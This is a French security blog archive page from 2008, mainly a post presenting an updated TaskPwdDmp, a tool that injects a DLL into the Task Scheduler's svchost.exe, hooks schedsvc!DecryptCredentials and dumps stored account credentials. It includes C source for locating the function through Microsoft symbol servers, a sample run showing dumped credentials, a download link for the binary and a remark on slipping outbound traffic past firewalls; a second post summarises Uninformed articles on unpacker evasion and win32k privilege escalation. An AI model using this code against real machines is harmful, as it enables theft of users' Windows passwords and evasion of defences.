Archive for octobre, 2008

TaskPwdDmp update

J’avais dit que je coderais une version générique pour mon outil TaskPwdDmp, c’est fait ! Après quelques retours me signalant que mon programme ne marchait à cause de l’utilisation d’offsets harcodés pour retrouver la fonction schedsvc!DecryptCredentials je me suis décidé à faire quelque chose de propre. Au lieu de fournir une liste de tous les offets possible de Windows XP à 2003 avec toutes les versions de DLLs possibles j’ai préféré opter pour une autre méthode plus simple.

La fonction DecryptCredentials de schedsvc.dll n’est pas exportée, le seul moyen donc de connaître son adresse précise est d’utiliser les symbols fournit par Microsoft sur leur site. Ainsi des programmes comme IDA, WinDbg ou Process Explorer utilisent ses symbols pour rendre le debugging/dissasembling/tracing/monitoring de binaires Windows plus aisé.

L’idée est donc simple, rendre l’outil TaskPwdDmp capable d’utiliser lui aussi les symbols pour obtenir l’adresse d’une fonction précise. En utilisant le moteur d’aide au debugging qui se charge d’obtenir la bonne version de symbols de manière dynamique on évite de se prendre la tête avec la version de l’OS, du Service Pack, de la localisation et de schedsvc.dll.

Les symbols sont en général représentés par des fichiers d’extensions .pdb. Par défaut Visual Studio génère un fichier .pdb pour chaque fichier .obj, en fonction des options de compilations bien sur. Microsoft met à disposition ses fichiers .pdb pour presque toutes les versions des binaires de son OS x86 ou x64, allant de Windows 2000 jusqu’à Windows Server 2008.

L’outil va donc aller chercher sur le net les symbols pour la DLL schedsvc pour lire l’adresse de la fonction DecryptCredentials. Cela rajoute donc une contrainte qui demande d’avoir l’accès au net mais de l’autre coté nous obtenons plus de fiabilité.

Pour obtenir les informations d’aide au debugging on utilise la librairie DbgHelp.dll. Cette DLL dont la dernière version est fournie dans les Debugging Tools permet de manipuler toutes les APIs de gestion des symbols, pour être plus précis : l’application des fichiers .pdb aux modules chargés en mémoire, aux stackframes, aux threads ainsi que l’aide du parsing entre les fichiers sources et binaires associés. D’un autre coté, nous avons aussi la DLL symsrv.dll qui elle à pour rôle de gérer le symbol server et le symbol store, les endroits ou sont disponibles les symbols et ou les stocker.

Il faut d’abord initialiser le moteur de gestion des symbols avec l’API SymInitialize, cette API demande le handle du process auquel seront appliquées toutes les APIs suivante ainsi qu’un argument spécifiant ou non si on doit chargé tous les symbols de tous les modules. Dans notre cas nous n’avons besoin que des symbols d’un seul module, ceux de schedsvc.dll, nous allons donc éviter de demander à DbgHelp.dll de retrouver tous les symbols. Pour cela, il est possible de spécifier à l’aide de SymSetOptions le flag SYMOPT_DEFERRED_LOADS qui demande au gestionnaire de symbols de les charger quand ceux ci sont nécessaire, cela évite de consommer trop d’espace mémoire et d’attendre 1000 ans qu’ils soient tous mappés.

Ensuite avec SymLoadModuleEx nous demandons de charger les symbols pour le module schedsvc.dll du binaire svchost.exe qui l’héberge. C’est à ce moment qu’intervient le gestionnaire symsrv, voyant que le .pdb n’existe pas dans le symbol store montré par la variable d’environnement _NT_SYMBOL_PATH , il va directement télécharger le .pdb (s’il existe !) depuis le symbol server qui lui aussi peut être définit avec NT_SYMBOL_PATH. En général ce symbol server est ‘http://msdl.microsoft.com/download/symbols’, on peut d’ailleur voir les requêtes tentées par DbgHelp.dll (visiblent sous forme de messages de debug) avant de faire appel à symsrv.dll :

DBGHELP: _NT_SYMBOL_PATH: SRV*C:\WINDOWS\TEMP*http://msdl.microsoft.com/download/symbols
DBGHELP: Symbol Search Path: .;SRV*C:\WINDOWS\TEMP*http://msdl.microsoft.com/download/symbols
DBGHELP: .\schedsvc.pdb - file not found
DBGHELP: .\dll\schedsvc.pdb - file not found
DBGHELP: .\symbols\dll\schedsvc.pdb - file not found
SYMSRV:  schedsvc.pdb from http://msdl.microsoft.com/download/symbols: 56991 bytes -    0 percent   copied         
DBGHELP: schedsvc - public symbols  
         C:\WINDOWS\TEMP\schedsvc.pdb\21D8A0C07CFF463CA338812BD32887191\schedsvc.pdb

Normalement symsrv nous demande dans une DialogBox d’accepter une licence, pour éviter cela on crée le fichier ‘symsrv.yes’ dans le même répertoire que symsrv.dll. Pour plus d’infos voir la ProcessEula dans symsrv.dll.

Après l’API SymFromName est capable à partir d’un nom de retrouver toutes les infos symboliques associées, on obtient une structure SYMBOL_INFO qui contient notamment l’adresse en mémoire.

typedef struct _SYMBOL_INFO 
{
	ULONG SizeOfStruct;  
	ULONG TypeIndex;  
	ULONG64 Reserved[2];  
	ULONG Index;  
	ULONG Size;  
	ULONG64 ModBase;  
	ULONG Flags;  
	ULONG64 Value;  
	ULONG64 Address;  
	ULONG Register;  
	ULONG Scope;  
	ULONG Tag;  
	ULONG NameLen;  
	ULONG MaxNameLen;  
	TCHAR Name[1];
} SYMBOL_INFO,  *PSYMBOL_INFO;

A partir de là 2 choix s’offrent à nous.

  1. Le binaire qui injecte la DLL va télécharger les symbols sur le net et envoyer l’information à la DLL injectée dans svchost.exe. Cela demande de mettre un place un mécanisme d’IPC.
  2. La dll injectée retrouve elle même les symbols sur le net directement depuis le processus svchost.exe.

Au début j’ai opté pour la 2ème solution parce que c’était plus simple à implémenter, qui plus est,dans le cas ou il existe un firewall sur le b0x, une connexion extérieure depuis un processus svchost.exe est relativement plus « normale » que celle provenant d’un binaire inconnu.

Après de nombreux essais mon code dans la DLL injectée ne marchait pas alors qu’un binaire stand-alone avec le même code fonctionnait quand à lui. De ce que j’ai pu voir, il existe plusieurs classes dans symsrv.dll qui sont : StoreWinHTTP, StoreHTTP, StoreWinInet et StoreUNC. Ces classes définissent quelles DLLs seront utilisées pour accéder au net, par exemple StoreWinHTTP utilise la DLL winhttp.dll et StoreWinInet utilise wininet.dll. En regardant avec Process Monitor j’ai vu que mon binaire stand-alone utilisait la librairie wininet alors que le même code dans la DLL injectée tentait une connexion avec winhttp.dll. Bref, j’ai un bug quantique et je n’arrive pas à trouver comment symsrv choisit quelle DLL il va utiliser, c’est très bizzare.

Changement de direction donc, retour à la 1ère solution. Le binaire va retrouver les symbols sur le net et les communiquer à la DLL. La communication entre les 2 processes est réalisée avec un named pipe qu’on crée avec CreateNamedPipe, on se place en écoute avec ConnectNamedPipe. Le processus d’injection écrit dans le pipe l’adresse de DecryptCredentials avec un simple WriteFile. La DLL connaissant l’adresse peut maintenant hooker la fonction et le binaire principal faire appel à la fonction ITask::GetAccountInformation pour trigger le hook.

Au final on a donc le code suivant qui retrouve l’adresse de DecryptCredentials :

/*++

Routine Description:
	RetrieveDecryptCredentialsAddress
Arguments:
	Task Scheduler svchost'pid.
Return Value:
	Address of DecryptCredentials. 0 otherwise.
--*/
DWORD RetrieveDecryptCredentialsAddress(DWORD TaskSrvPid)
{
	PSYMBOL_INFO Symbol;
	HANDLE hProcess;
	ULONG64 SymBase;
	ULONG64 Address=0;

	SymSetOptions(SYMOPT_UNDNAME|SYMOPT_DEBUG|SYMOPT_DEFERRED_LOADS|SYMOPT_PUBLICS_ONLY);
	
	hProcess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, TaskSrvPid);
	if(hProcess==NULL)
	{
		printf("Error with OpenProcess : %lu\n", GetLastError());
		return 0;
	}

	//
	// Set _NT_SYMBOL_PATH for the current process
	//
	SetEnvironmentVariable("_NT_SYMBOL_PATH", "SRV*C:\\WINDOWS\\TEMP*http://msdl.microsoft.com/download/symbols");

	if(!SymInitialize(hProcess, NULL, TRUE))
	{
		printf("Error with SymInitialize : %lu\n", GetLastError());
		
		CloseHandle(hProcess);
		return 0;
	}

	//
	// Load symbol module from database
	//
	SymBase=SymLoadModuleEx(hProcess, NULL, TaskSchedDll, NULL, (ULONG64)GetRemoteHandle(TaskSrvPid, TaskSchedDll), 0, NULL, 0);
	//
	// If the module is already loaded, the return value is zero and GetLastError returns ERROR_SUCCESS
	// 
	if((SymBase==0) && (GetLastError()!=ERROR_SUCCESS))
	{
		printf("Error with SymLoadModuleEx : %lu\n", GetLastError());

		SymCleanup(GetCurrentProcess());
		CloseHandle(hProcess);
		return 0;
	}
	
	//
	// Allocate symbol struct
	//
	Symbol=(PSYMBOL_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(SYMBOL_INFO)+MAX_SYM_NAME);
	if(Symbol==NULL)
	{	
		printf("Cannot allocate Symbol struct\n");

		SymCleanup(GetCurrentProcess());
		CloseHandle(hProcess);
		return 0;
	}

	RtlZeroMemory(Symbol, sizeof(SYMBOL_INFO)+MAX_SYM_NAME);
	
	Symbol->SizeOfStruct=sizeof(SYMBOL_INFO);
	Symbol->MaxNameLen=MAX_SYM_NAME;

	//
	// Retrieve address of DecryptCredentials
	//
	if(!SymFromName(hProcess, "DecryptCredentials", Symbol)) 
	{
		printf("Error with SymFromName : %lu\n", GetLastError());

		CloseHandle(hProcess);
		HeapFree(GetProcessHeap(), 0, Symbol);
		SymCleanup(GetCurrentProcess());
		return 0;
	}

	Address=Symbol->Address;
	printf("DecryptCredentials function is at : 0x%I64x\n", Address);

	//
	// Clean
	//
	SymCleanup(hProcess);
	HeapFree(GetProcessHeap(), 0, Symbol);
	CloseHandle(hProcess); 
	
	return (DWORD)Address;
}

A noter que le 5ème paramètre de SymLoadModuleEx est l’ImageBase du module dans le process svchost.exe, d’ou ma fonction GetRemoteHandle qui va retrouver l’ImageBase de schedsvc.dll à distance avec CreateToolhelp32Snapshot (option TH32CS_SNAPMODULE).

Pour finir nous avons donc la sortie :

C:\sym>TaskPwdDmp.exe
Windows Task Scheduler credentials dumper
By Ivanlef0u, thanks to Nicolas Ruff
BE M4D!
Works on Windows XP and 2003
Retrieves schedsvc!DecryptCrendetials address with symbols
    /|
\`O.o'
=(_|_)=
    U
There is 1 tasks in queue
Current tasks are :
Calculatrice
schedsvc.dll found in process [svchost.exe:1744]
Task Scheduler svchost pid is : 1744
DecryptCredentials function is at : 0x76b22962
Injecting Dll TaskPwdDmpDll.dll in process : 1744
FullDllPath : C:\sym\TaskPwdDmpDll.dll
[Msg from PID 1744]-> Dll injected in process 1744

[Msg from PID 1744]-> schedsvc dll is at : 0x76B10000

[Msg from PID 1744]-> Listenning thread created with TID : 856

[Msg from PID 1744]-> schedsvc!DecryptCredentials is at:  0x76b22962

Dumping credentials ...
[Msg from PID 1744]-> Credentials fu:fr

Dll successfully unloaded

Vous trouverez le binaire ici :
http://ivanlef0u.fr/repo/TaskPwdDmpSymbols.rar

Voilà j’espère que cette solution vous plait, j’attends vos retours avec impatience.

Merci à 0vercl0k pour les beta-tests :p

9 comments octobre 27th, 2008

Uninformed Volume 10

Les auteurs du fameux journal technique uninformed sortent leur dernier opus disponible ici. Au programme :

  • Can you find me now? Unlocking the Verizon Wireless xv6800 (HTC Titan) GPS de Skywing.
  • Using dual-mappings to evade automated unpackers de Skape. Un court article expliquant comment bypasser les unpackers automatiques qui retrouvent l’OEP en regardant les pages mémoire exécutés par le binaire. Du fait que ces tools manipulent uniquement des adresses virtuelles, il est possible de mettre en place une zone mémoire unique possédant 2 adresses virtuelles dans le contexte du packer. Ainsi d’un coté le packer écrit le code dans une mémoire virtuelle alors qu’il sera exécuté dans une autre, dans la mémoire physique ce sont la ou les mêmes pages qui sont écrites et exécutées. L’outil d’unpacking automatique ni voit que du feu et croit qu’il s’agit de code provenant du packer.
  • Analyzing local privilege escalations in win32k de mxatone (Han but kikoo !! sale pourriture communiste @#!!!). Article décrivant en partie le fonctionnement du système GDI win32.sys de Windows. Ensuite mxatone nous montre des faiblesses au niveau de 3 API et l’art de les exploiter, un régal !
  • Exploiting Tomorrow’s Internet Today: Penetration testing with IPv6 de H D Moore.
  • Sinon de mon coté je continue d’étudier la gestion du mode virtuel sous Windows, j’espère pour avancer rapidement, je prépare aussi une mise à jour pour rendre plus générique mon outil qui permet de dumper les credentials stockés pour la gestion des tâches planifiées. Restez connecté !

    Bonne lecture à tous.

    2 comments octobre 12th, 2008


    Calendar

    octobre 2008
    L Ma Me J V S D
    « sept   nov »
     12345
    6789101112
    13141516171819
    20212223242526
    2728293031  

    Posts by Month

    Posts by Category